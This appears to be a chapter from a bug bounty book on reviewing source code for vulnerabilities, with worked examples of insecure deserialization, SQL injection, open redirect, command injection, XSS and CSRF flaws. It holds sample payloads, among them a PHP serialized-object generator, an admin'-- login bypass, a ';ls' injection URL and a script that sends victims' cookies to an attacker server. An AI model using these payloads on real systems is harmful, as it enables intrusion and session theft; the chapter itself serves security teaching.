22
CONDUCTING CODE REVIEWS

You'll sometimes come across the source code of an application you're attacking. For example, you might be able to extract JavaScript code from a web application, find scripts stored on servers during the recon process, or obtain Java source code from an Android application. If so, you are in luck! Reviewing code is one of the best ways to find vulnerabilities in applications.

Instead of testing applications by trying different payloads and attacks, you can locate insecure programming directly by looking for bugs in an application's source code. Source code review not only is a faster way of finding vulnerabilities, but also helps you learn how to program safely in the future, because you'll observe the mistakes of others.

By learning how vulnerabilities manifest themselves in source code, you can develop an intuition about how and why vulnerabilities happen. Learning to conduct source code reviews will eventually help you become a better hacker.

This chapter introduces strategies that will help you get started reviewing code. We'll cover what you should look for and walk through example exercises to get your feet wet.

Remember that, most of the time, you don't have to be a master programmer to conduct a code review in a particular language. As long as you understand one programming language, you can apply your intuition to review a wide variety of software written in different languages. But understanding the target's particular language and architecture will allow you to spot more nuanced bugs.

NOTE *If you are interested in learning more about code reviews beyond the strategies mentioned in this chapter, the OWASP Code Review Guide (*https://owasp.org/www-project-code-review-guide/*) is a comprehensive resource to reference.*

White-Box vs. Black-Box Testing

You might have heard people in the cybersecurity industry mention black-box and white-box testing. *Black-box testing* is testing the software from the outside in. Like a real-life attacker, these testers have little understanding of the application's internal logic. In contrast, in *gray-box testing*, the tester has limited knowledge of the application's internals. In a *white-box review*, the tester gets full access to the software's source code and documentation.

Usually, bug bounty hunting is a black-box process, since you don't have access to an application's source code. But if you can identify the open source components of the application or find its source code, you can convert your hunting to a more advantageous gray-box or white-box test.

The Fast Approach: grep Is Your Best Friend

There are several ways to go about hunting for vulnerabilities in source code, depending on how thorough you want to be. We'll begin with what I call the "I'll take what I can get" strategy. It works great if you want to maximize the number of bugs found in a short time. These techniques are speedy and often lead to the discovery of some of the most severe vulnerabilities, but they tend to leave out the more subtle bugs.

Dangerous Patterns

Using the `grep` command, look for specific functions, strings, keywords, and coding patterns that are known to be dangerous. For example, the use of the `eval()` function in PHP can indicate a possible code injection vulnerability.

To see how, imagine you search for `eval()` and pull up the following code snippet:

```
<?php
  [...]
  class UserFunction
  {
    private $hook;
    function __construct(){
      [...]
    }
    function __wakeup(){
   ❶ if (isset($this->hook)) eval($this->hook);
    }
  }
  [...]
❷ $user_data = unserialize($_COOKIE['data']);
  [...]
?>
```

In this example, `$_COOKIE['data']` ❷ retrieves a user cookie named `data`. The `eval()` function ❶ executes the PHP code represented by the string passed in. Put together, this piece of code takes a user cookie named `data` and unserializes it. The application also defines a class named `UserFunction`, which runs `eval()` on the string stored in the instance's `$hook` property when unserialized.

This code contains an insecure deserialization vulnerability, leading to an RCE. That's because the application takes user input from a user's cookie and plugs it directly into an `unserialize()` function. As a result, users can make `unserialize()` initiate any class the application has access to by constructing a serialized object and passing it into the `data` cookie.

You can achieve RCE by using this deserialization flaw because it passes a user-provided object into `unserialize()`, and the `UserFunction` class runs `eval()` on user-provided input, which means users can make the application execute arbitrary user code. To exploit this RCE, you simply have to set your `data` cookie to a serialized `UserFunction` object with the `hook` property set to whatever PHP code you want. You can generate the serialized object by using the following bit of code:

```
<?php
  class UserFunction
  {
    private $hook = "phpinfo();";
  }
  print urlencode(serialize(new UserFunction));

?>
```

Passing the resulting string into the `data` cookie will cause the code `phpinfo();` to be executed. This example is taken from OWASP's PHP object injection guide at *https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection*. You can learn more about insecure deserialization vulnerabilities in Chapter 14.

When you are just starting out reviewing a piece of source code, focus on the search for dangerous functions used on user-controlled data. Table 22-1 lists a few examples of dangerous functions to look out for. The presence of these functions does not guarantee a vulnerability, but can alert you to possible vulnerabilities.

Table 22-1: Potentially Vulnerable Functions

Language	Function	Possible vulnerability
PHP	`eval()`, `assert()`, `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, backticks (`` `CODE` ``), `include()`, `require()`	RCE if used on unsanitized user input. `eval()` and `assert()` execute PHP code in its input, while `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, and backticks execute system commands. `include()` and `require()` can be used to execute PHP code by feeding the function a URL to a remote PHP script.
PHP	`unserialize()`	Insecure deserialization if used on unsanitized user input.
Python	`eval()`, `exec()`, `os.system()`	RCE if used on unsanitized user input.
Python	`pickle.loads()`, `yaml.load()`	Insecure deserialization if used on unsanitized user input.
JavaScript	`document.write()`, `document.writeln`	XSS if used on unsanitized user input. These functions write to the HTML document. So if attackers can control the value passed into it on a victim's page, the attacker can write JavaScript onto a victim's page.
JavaScript	`document.location.href()`	Open redirect when used on unsanitized user input. `document.location.href()` changes the location of the user's page.
Ruby	`System()`, `exec()`, `%x()`, backticks (`` `CODE` ``)	RCE if used on unsanitized user input.
Ruby	`Marshall.load()`, `yaml.load()`	Insecure deserialization if used on unsanitized user input.

Leaked Secrets and Weak Encryption

Look for leaked secrets and credentials. Sometimes developers make the mistake of hardcoding secrets such as API keys, encryption keys, and database passwords into source code. When that source code is leaked to an attacker, the attacker can use these credentials to access the company's assets. For example, I've found hardcoded API keys in the JavaScript files of web applications.

You can look for these issues by grepping for keywords such as `key`, `secret`, `password`, `encrypt`, `API`, `login`, or `token`. You can also regex search for hex or base64 strings, depending on the key format of the credentials you're looking for. For instance, GitHub access tokens are lowercase, 40-character hex strings. A search pattern like `[a-f0-9]{40}` would find them in the source code. This search pattern matches strings that are 40 characters long and contains only digits and the hex letters *a* to *f*.

When searching, you might pull up a section of code like this one, written in Python:

```
  import requests

❶ GITHUB_ACCESS_TOKEN = "0518fb3b4f52a1494576eee7ed7c75ae8948ce70"
  headers = {"Authorization": "token {}".format(GITHUB_ACCESS_TOKEN), \
  "Accept": "application/vnd.github.v3+json"}
  api_host = "https://api.github.com"
❷ usernames = ["vickie"] # List users to analyze

  def request_page(path):
    resp = requests.Response()
    try: resp = requests.get(url=path, headers=headers, timeout=15,
  verify=False)
    except: pass
    return resp.json()

❸ def find_repos():
    # Find repositories owned by the users.
    for username in usernames:
      path = "{}/users/{}/repos".format(api_host, username)
      resp = request_page(path)
      for repo in resp:
        print(repo["name"])

  if __name__ == "__main__":
    find_repos()
```

This Python program takes in the username of a user from GitHub ❷ and prints out the names of all the user's repositories ❸. This is probably an internal script used to monitor the organization's assets. But this code contains a hardcoded credential, as the developer hardcoded a GitHub access token into the source code ❶. Once the source code is leaked, the API key becomes public information.

Entropy scanning can help you find secrets that don't adhere to a specific format. In computing, *entropy* is a measurement of how random and unpredictable something is. For instance, a string composed of only one repeated character, like `aaaaa`, has very low entropy. A longer string with a larger set of characters, like `wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`, has higher entropy. Entropy is therefore a good tool to find highly randomized and complex strings, which often indicate a secret. TruffleHog by Dylan Ayrey (*https://github.com/trufflesecurity/truffleHog/*) is a tool that searches for secrets by using both regex and entropy scanning.

Finally, look for the use of weak cryptography or hashing algorithms. This issue is hard to find during black-box testing but easy to spot when reviewing source code. Look for issues such as weak encryption keys, breakable encryption algorithms, and weak hashing algorithms. Grep the names of weak algorithms like ECB, MD4, and MD5. The application might have functions named after these algorithms, such as `ecb()`, `create_md4()`, or `md5_hash()`. It might also have variables with the name of the algorithm, like `ecb_key`, and so on. The impact of weak hashing algorithms depends on where they are used. If they are used to hash values that are not considered security sensitive, their usage will have less of an impact than if they are used to hash passwords.

New Patches and Outdated Dependencies

If you have access to the commit or change history of the source code, you can also focus your attention on the most recent code fixes and security patches. Recent changes haven't stood the test of time and are more likely to contain bugs. Look at the protection mechanisms implemented and see if you can bypass them.

Also search for the program's dependencies and check whether any of them are outdated. Grep for specific code import functions in the language you are using with keywords like `import`, `require`, and `dependencies`. Then research the versions they're using to see if any vulnerabilities are associated with them in the CVE database (*https://cve.mitre.org/*). The process of scanning an application for vulnerable dependencies is called *software composition analysis (SCA)*. The OWASP Dependency-Check tool (*https://owasp.org/www-project-dependency-check/*) can help you automate this process. Commercial tools with more capabilities exist too.

Developer Comments

You should also look for developer comments and hidden debug functionalities, and accidentally exposed configuration files. These are resources that developers often forget about, and they leave the application in a dangerous state.

Developer comments can point out obvious programming mistakes. For example, some developers like to put comments in their code to remind themselves of incomplete tasks. They might write comments like this, which points out vulnerabilities in the code:

```
# todo: Implement CSRF protection on the change_password endpoint.
```

You can find developer comments by searching for the comment characters of each programming language. In Python, it's `#`. In Java, JavaScript, and C++, it's `//`. You can also search for terms like *todo*, *fix*, *completed*, *config*, *setup*, and *removed* in source code.

Debug Functionalities, Configuration Files, and Endpoints

Hidden debug functionalities often lead to privilege escalation, as they're intended to let the developers themselves bypass protection mechanisms. You can often find them at special endpoints, so search for strings like `HTTP`, `HTTPS`, `FTP`, and `dev`. For example, you might find a URL like this somewhere in the code that points you to an admin panel:

```
http://dev.example.com/admin?debug=1&password=password # Access debug panel
```

Configuration files allow you to gain more information about the target application and might contain credentials. You can look for filepaths to configuration files in source code as well. Configuration files often have the file extensions *.conf*, *.env*, *.cnf*, *.cfg*, *.cf*, *.ini*, *.sys*, or *.plist*.

Next, look for additional paths, deprecated endpoints, and endpoints in development. These are endpoints that users might not encounter when using the application normally. But if they work and are discovered by an attacker, they can lead to vulnerabilities such as authentication bypass and sensitive information leak, depending on the exposed endpoint. You can search for strings and characters that indicate URLs like *HTTP*, *HTTPS*, slashes (/), URL parameter markers (?), file extensions (*.php*, *.html*, *.js*, *.json*), and so on.

The Detailed Approach

If you have more time, complement the fast techniques with a more extensive source code review to find subtle vulnerabilities. Instead of reading the entire codebase line by line, try these strategies to maximize your efficiency.

Important Functions

When reading source code, focus on important functions, such as authentication, password reset, state-changing actions, and sensitive info reads. For example, you'd want to take a close look at this login function, written in Python:

```
def login():
  query = "SELECT * FROM users WHERE username = '" + \
 ❶ request.username + "' AND password = '" + \
    request.password + "';"
  authed_user = database_call(query)
❷ login_as(authed_user)
```

This function looks for a user in the database by using a SQL query constructed from the username and password provided by the user ❶. If a user with the specified username and password exists, the function logs in the user ❷.

This code contains a classic example of a SQL injection vulnerability. At ❶, the application uses user input to formulate a SQL query without sanitizing the input in any way. Attackers could formulate an attack, for example, by entering `admin'--` as the username to log in as the admin user. This works because the query would become the following:

```
SELECT password FROM users WHERE username = 'admin' --' AND password = '';
```

Which parts of the application are important depend on the priorities of the organization. Also review how important components interact with other parts of the application. This will show you how an attacker's input can affect different parts of the application.

User Input

Another approach is to carefully read the code that processes user input. User input, such as HTTP request parameters, HTTP headers, HTTP request paths, database entries, file reads, and file uploads provide the entry points for attackers to exploit the application's vulnerabilities. This can help find common vulnerabilities such as stored XSS, SQL injections, and XXEs.

Focusing on parts of the code that deal with user input will provide a good starting point for identifying potential dangers. Make sure to also review how the user input gets stored or transferred. Finally, see whether other parts of the application use the previously processed user input. You might find that the same user input interacts differently with various components of the application.

For example, the following snippet accepts user input. The PHP variable `$_GET` contains the parameters submitted in the URL query string, so the variable `$_GET['next']` refers to the value of the URL query parameter named `next`:

```
<?php

  [...]

  if ($logged_in){
  ❶ $redirect_url = $_GET['next'];
  ❷ header("Location: ". $redirect_url);
    exit;
  }

  [...]

?>
```

This parameter gets stored in the `$redirect_url` variable ❶. Then the `header()` PHP function sets the response header `Location` to that variable ❷. The `Location` header controls where the browser redirects a user. This means the user will be redirected to the location specified in the `next` URL parameter.

The vulnerability in this code snippet is an open redirect. The `next` URL query parameter is used to redirect the user after login, but the application doesn't validate the redirect URL before redirecting the user. It simply takes the value of the URL query parameter `next` and sets the response header accordingly.

Even a more robust version of this functionality might contain vulnerabilities. Take a look at this code snippet:

```
<?php

[...]

if ($logged_in){
    $redirect_url = $_GET['next'];
❶ if preg_match("/example.com/", $redirect_url){
      header("Location: ". $redirect_url);
      exit;
    }

}

[...]

?>
```

Now the code contains some input validation: the `preg_match(`*`PATTERN`*`,` *`STRING`*`)` PHP function checks whether the *`STRING`* matches the regex pattern *`PATTERN`* ❶. Presumably, this pattern would make sure the page redirects to a legitimate location. But this code still contains an open redirect. Although the application now validates the redirect URL before redirecting the user, it does so incompletely. It checks only whether the redirect URL contains the string *example.com*. As discussed in Chapter 7, attackers could easily bypass this protection by using a redirect URL such as *attacker.com/example.com*, or *example.com.attacker.com*.

Let's look at another instance where tracing user input can point us to vulnerabilities. The `parse_url(`*`URL, COMPONENT`*`)` PHP function parses a URL and returns the specified URL component. For example, this function will return the string `/index.html`. In this case, it returns the `PHP_URL_PATH`, the filepath part of the input URL:

```
parse_url("https://www.example.com/index.html", PHP_URL_PATH)
```

Can you spot the vulnerabilities in the following piece of PHP code?

```
<?php

  [...]

❶ $url_path = parse_url($_GET['download_file'], PHP_URL_PATH);
❷ $command = 'wget -o stdout https://example.com' . $url_path;
❸ system($command, $output);
❹ echo "<h1> You requested the page:" . $url_path . "</h1>";
  echo $output;

  [...]

?>
```

This page contains a command injection vulnerability and a reflected XSS vulnerability. You can find them by paying attention to where the application uses the user-supplied `download_file` parameter.

Let's say this page is located at *https://example.com/download*. This code retrieves the `download_file` URL query parameter and parses the URL to retrieve its path component ❶. Then the server downloads the file located on the *example.com* server with the filepath that matches the path in the download_file URL ❷. For example, visiting this URL will download the file *https://example.com/abc*:

```
https://example.com/download?download_file=https://example.com/abc
```

The PHP system() command executes a system command, and system(*COMMAND, OUTPUT*) will store the output of *COMMAND* into the variable *OUTPUT*. This program passes user input into a variable $command, then into the system() function ❸. This means that users can get arbitrary code executed by injecting their payload into the $url_path. They'd simply have to meddle with the download_file GET parameter while requesting a page, like this:

```
https://example.com/download?download_file=https://example.com/download;ls
```

The application then displays a message on the web page by using direct user input ❹. Attackers could embed an XSS payload in the download _file's URL path portion and get it reflected onto the victim's page after a victim user accesses the crafted URL. The exploit URL can be generated with this code snippet. (Note that the second line wraps onto a third for display purposes.)

```
<?php
  $exploit_string = "<script>document.location='http://attacker_server_ip/cookie_stealer
  .php?c='+document.cookie;</script>";

  echo "https://example.com/" . $exploit_string;
?>
```

Exercise: Spot the Vulnerabilities

Some of these tips may seem abstract, so let's walk through an example program, written in Python, that will help you practice the tricks introduced in this chapter. Ultimately, reviewing source code is a skill to be practiced. The more you look at vulnerable code, the more adept you will become at spotting bugs.

The following program has multiple issues. See how many you can find:

```
import requests
import urllib.parse as urlparse
from urllib.parse import parse_qs
api_path = "https://api.example.com/new_password"
user_data = {"new_password":"", "csrf_token":""}

def get_data_from_input(current_url):
  # get the URL parameters
  # todo: we might want to stop putting user passwords ❶
  # and tokens in the URL! This is really not secure.
  # todo: we need to ask for the user's current password
  # before they can change it!
  url_object = urlparse.urlparse(current_url)
  query_string = parse_qs(url_object.query)
  try:
    user_data["new_password"] = query_string["new_password"][0]
    user_data["csrf_token"] = query_string["csrf_token"][0]
  except: pass

def new_password_request(path, user_data):
  if user_data["csrf_token"]: ❷
    validate_token(user_data["csrf_token"])
  resp = requests.Response()
  try:
    resp = requests.post(url=path, headers=headers, timeout=15, verify=False, data=user_data)
    print("Your new password is set!")
  except: pass

def validate_token(csrf_token):
  if (csrf_token == session.csrf_token):
    pass
  else:
    raise Exception("CSRF token incorrect. Request rejected.")

def validate_referer(): ❸
  # todo: implement actual referer check! Now the function is a placeholder. ❹
  if self.request.referer:
    return True
  else:
    throw_error("Referer incorrect. Request rejected.")

if __name__ == "__main__":
  validate_referer()
  get_data_from_input(self.request.url)
  new_password_request(api_path, user_data)
```

Let's begin by considering how this program works. It's supposed to take a `new_password` URL parameter to set a new password for the user. It parses the URL parameters for `new_password` and `csrf_token`. Then, it validates the CSRF token and performs the POST request to change the user's password.

This program has multiple issues. First, it contains several revealing developer comments ❶. It points out that the request to change the user's password is initiated by a GET request, and both the user's new password and CSRF token are communicated in the URL. Transmitting secrets in URLs is bad practice because they may be made available to browser histories, browser extensions, and traffic analytics providers. This creates the possibility of attackers stealing these secrets. Next, another development comment points out that the user's current password isn't needed to change to a new password! A third revealing comment points out to the attacker that the CSRF referer check functionality is incomplete ❹.

You can see for yourself that the program employs two types of CSRF protection, both of which are incomplete. The referer check function checks only if the referer is present, not whether the referer URL is from a legitimate site ❸. Next, the site implements incomplete CSRF token validation. It checks that the CSRF token is valid only if the `csrf_token` parameter is provided in the URL ❷. Attackers will be able to execute the CSRF to change users' passwords by simply providing them with a URL that doesn't have the `csrf_token` parameter, or contains a blank `csrf_token`, as in these examples:

```
https://example.com/change_password?new_password=abc&csrf_token=
https://example.com/change_password?new_password=abc
```

Code review is an effective way of finding vulnerabilities, so if you can extract source code at any point during your hacking process, dive into the source code and see what you can find. Manual code review can be time-consuming. Using static analysis security testing (SAST) tools is a great way to automate the process. Many open source and commercial SAST tools with different capabilities exist, so if you are interested in code analysis and participating in many source code programs, you might want to look into using a SAST tool that you like.